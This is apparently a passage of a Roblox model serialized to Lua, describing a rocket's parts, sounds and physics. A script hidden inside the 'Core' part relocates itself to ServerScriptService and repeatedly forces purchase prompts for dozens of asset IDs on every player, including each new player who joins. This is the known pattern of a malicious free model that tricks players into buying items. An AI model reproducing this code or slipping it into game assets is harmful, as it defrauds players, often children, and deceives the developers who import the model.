- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- Part106.Parent = mas
- Part106.CFrame = CFrame.new(2.49462032, 88.0861664, 26.904892, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part106.Orientation = Vector3.new(0, 0, -90)
- Part106.Position = Vector3.new(2.49462032, 88.0861664, 26.904892)
- Part106.Rotation = Vector3.new(0, 0, -90)
- Part106.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part106.Size = Vector3.new(0.149999961, 0.231578946, 4.07368374)
- Part106.Anchored = true
- Part106.BottomSurface = Enum.SurfaceType.Smooth
- Part106.BrickColor = BrickColor.new("Dark stone grey")
- Part106.Material = Enum.Material.Metal
- Part106.TopSurface = Enum.SurfaceType.Smooth
- Part106.brickColor = BrickColor.new("Dark stone grey")
- Part107.Parent = mas
- Part107.CFrame = CFrame.new(-4.80555058, 33.2369881, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part107.Orientation = Vector3.new(0, 90, -90)
- Part107.Position = Vector3.new(-4.80555058, 33.2369881, 26.9299011)
- Part107.Rotation = Vector3.new(-90, 90, 0)
- Part107.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part107.Size = Vector3.new(36.5000038, 15, 15)
- Part107.Anchored = true
- Part107.BottomSurface = Enum.SurfaceType.Smooth
- Part107.BrickColor = BrickColor.new("Institutional white")
- Part107.Material = Enum.Material.DiamondPlate
- Part107.TopSurface = Enum.SurfaceType.Smooth
- Part107.brickColor = BrickColor.new("Institutional white")
- Part107.Shape = Enum.PartType.Cylinder
- Part108.Name = "Core"
- Part108.Parent = mas
- Part108.CFrame = CFrame.new(-4.80555058, 69.7367325, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part108.Orientation = Vector3.new(0, 90, -90)
- Part108.Position = Vector3.new(-4.80555058, 69.7367325, 26.9299011)
- Part108.Rotation = Vector3.new(-90, 90, 0)
- Part108.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part108.Size = Vector3.new(19.7000084, 15, 15)
- Part108.Anchored = true
- Part108.BottomSurface = Enum.SurfaceType.Smooth
- Part108.BrickColor = BrickColor.new("Institutional white")
- Part108.Material = Enum.Material.DiamondPlate
- Part108.TopSurface = Enum.SurfaceType.Smooth
- Part108.brickColor = BrickColor.new("Institutional white")
- Part108.Shape = Enum.PartType.Cylinder
- Sound109.Name = "D"
- Sound109.Parent = Part108
- Sound109.Looped = true
- Sound109.Pitch = 1.5
- Sound109.PlaybackSpeed = 1.5
- Sound109.SoundId = "rbxassetid://558246436"
- Sound109.Volume = 5
- Sound110.Name = "E"
- Sound110.Parent = Part108
- Sound110.Looped = true
- Sound110.SoundId = "rbxassetid://558246436"
- Sound110.Volume = 2
- Sound111.Name = "Decoupler"
- Sound111.Parent = Part108
- Sound111.SoundId = "rbxassetid://231977665"
- Sound111.Volume = 1
- Sound112.Name = "C"
- Sound112.Parent = Part108
- Sound112.SoundId = "rbxassetid://167570993"
- Sound112.Volume = 3
- Sound113.Name = "B"
- Sound113.Parent = Part108
- Sound113.SoundId = "rbxassetid://160914477"
- Sound113.Volume = 0.89999997615814
- Sound114.Name = "A"
- Sound114.Parent = Part108
- Sound114.Looped = true
- Sound114.Pitch = 1.2000000476837
- Sound114.PlaybackSpeed = 1.2000000476837
- Sound114.SoundId = "rbxassetid://154757584"
- Decal115.Parent = Part108
- Decal115.Texture = "http://www.roblox.com/asset/?id=6544977"
- Decal115.Face = Enum.NormalId.Bottom
- Decal116.Parent = Part108
- Decal116.Texture = "http://www.roblox.com/asset/?id=6544977"
- Decal116.Face = Enum.NormalId.Top
- Script117.Parent = Part108
- table.insert(cors,sandbox(Script117,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- Part118.Parent = mas
- Part118.CFrame = CFrame.new(-4.68219852, 82.4865036, 32.400589, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part118.Orientation = Vector3.new(0, -90, -90)
- Part118.Position = Vector3.new(-4.68219852, 82.4865036, 32.400589)
- Part118.Rotation = Vector3.new(90, -90, 0)
- Part118.Size = Vector3.new(1.00000083, 2.44999957, 2.35000086)
- Part118.Anchored = true
- Part118.BottomSurface = Enum.SurfaceType.Smooth
- Part118.LeftSurface = Enum.SurfaceType.Weld
- Part118.Material = Enum.Material.Metal
- Part118.TopSurface = Enum.SurfaceType.Smooth
- Part119.Name = "CFrame"
- Part119.Parent = mas
- Part119.CFrame = CFrame.new(-4.80597782, 69.7367325, 26.9301147, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part119.Orientation = Vector3.new(0, -90, 0)
- Part119.Position = Vector3.new(-4.80597782, 69.7367325, 26.9301147)
- Part119.Rotation = Vector3.new(0, -90, 0)
- Part119.Transparency = 1
- Part119.Size = Vector3.new(0.100000001, 0.100000001, 0.100000001)
- Part119.Anchored = true
- Part119.BottomSurface = Enum.SurfaceType.Smooth
- Part119.CanCollide = false
- Part119.TopSurface = Enum.SurfaceType.Smooth
- BodyVelocity120.Parent = Part119
- BodyVelocity120.MaxForce = Vector3.new(3.99999982e+25, 3.99999982e+25, 3.99999982e+25)
- BodyVelocity120.maxForce = Vector3.new(3.99999982e+25, 3.99999982e+25, 3.99999982e+25)
- BodyVelocity120.Velocity = Vector3.new(0, 1, 0)
- BodyVelocity120.velocity = Vector3.new(0, 1, 0)
- BodyGyro121.Parent = Part119
- BodyGyro121.MaxTorque = Vector3.new(400000, 400000, 400000)
- BodyGyro121.maxTorque = Vector3.new(400000, 400000, 400000)
- Part122.Parent = mas
- Part122.CFrame = CFrame.new(-4.80555058, 12.6370316, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part122.Orientation = Vector3.new(0, 90, -90)
- Part122.Position = Vector3.new(-4.80555058, 12.6370316, 26.9299011)
- Part122.Rotation = Vector3.new(-90, 90, 0)
- Part122.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part122.Size = Vector3.new(0.699999988, 15, 15)
- Part122.Anchored = true
- Part122.BottomSurface = Enum.SurfaceType.Smooth
- Part122.BrickColor = BrickColor.new("Institutional white")
- Part122.Material = Enum.Material.DiamondPlate
- Part122.TopSurface = Enum.SurfaceType.Smooth
- Part122.brickColor = BrickColor.new("Institutional white")
- Part122.Shape = Enum.PartType.Cylinder
- Part123.Parent = mas
- Part123.CFrame = CFrame.new(-3.15717411, 82.9864273, 21.0814667, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part123.Orientation = Vector3.new(0, 90, -90)
- Part123.Position = Vector3.new(-3.15717411, 82.9864273, 21.0814667)
- Part123.Rotation = Vector3.new(-90, 90, 0)
- Part123.Size = Vector3.new(2.00000048, 2.5999999, 0.700000167)
- Part123.Anchored = true
- Part123.BottomSurface = Enum.SurfaceType.Smooth
- Part123.Material = Enum.Material.Metal
- Part123.TopSurface = Enum.SurfaceType.Smooth
- Part124.Parent = mas
- Part124.CFrame = CFrame.new(-4.80555058, 9.8370285, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part124.Orientation = Vector3.new(0, 90, -90)
- Part124.Position = Vector3.new(-4.80555058, 9.8370285, 26.9299011)
- Part124.Rotation = Vector3.new(-90, 90, 0)
- Part124.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part124.Size = Vector3.new(3.20000291, 15, 15)
- Part124.Anchored = true
- Part124.BottomSurface = Enum.SurfaceType.Smooth
- Part124.BrickColor = BrickColor.new("Institutional white")
- Part124.Material = Enum.Material.DiamondPlate
- Part124.TopSurface = Enum.SurfaceType.Smooth
- Part124.brickColor = BrickColor.new("Institutional white")
- Part124.Shape = Enum.PartType.Cylinder
- Part125.Parent = mas
- Part125.CFrame = CFrame.new(-4.80555058, 54.0869789, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part125.Orientation = Vector3.new(0, 90, -90)
- Part125.Position = Vector3.new(-4.80555058, 54.0869789, 26.9299011)
- Part125.Rotation = Vector3.new(-90, 90, 0)
- Part125.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part125.Size = Vector3.new(0.699999988, 15, 15)
- Part125.Anchored = true
- Part125.BottomSurface = Enum.SurfaceType.Smooth
- Part125.BrickColor = BrickColor.new("Institutional white")
- Part125.Material = Enum.Material.DiamondPlate
- Part125.TopSurface = Enum.SurfaceType.Smooth
- Part125.brickColor = BrickColor.new("Institutional white")
- Part125.Shape = Enum.PartType.Cylinder
- Part126.Parent = mas
- Part126.CFrame = CFrame.new(-11.5597467, 83.8477097, 25.3799133, 0.0871569663, -0.996194661, 0, -0.996194661, -0.0871569663, 0, 0, 0, -1)
- Part126.Orientation = Vector3.new(0, 180, -95)
- Part126.Position = Vector3.new(-11.5597467, 83.8477097, 25.3799133)
- Part126.Rotation = Vector3.new(-180, 0, 85)
- Part126.Size = Vector3.new(3.89999962, 0.650000095, 0.700000167)
- Part126.Anchored = true
- Part126.BottomSurface = Enum.SurfaceType.Smooth
- Part126.Material = Enum.Material.Metal
- Part126.TopSurface = Enum.SurfaceType.Smooth
- Part127.Parent = mas
- Part127.CFrame = CFrame.new(-4.80555058, 52.6869354, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part127.Orientation = Vector3.new(0, 90, -90)
- Part127.Position = Vector3.new(-4.80555058, 52.6869354, 26.9299011)
- Part127.Rotation = Vector3.new(-90, 90, 0)
- Part127.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part127.Size = Vector3.new(0.699999988, 15, 15)
- Part127.Anchored = true
- Part127.BottomSurface = Enum.SurfaceType.Smooth
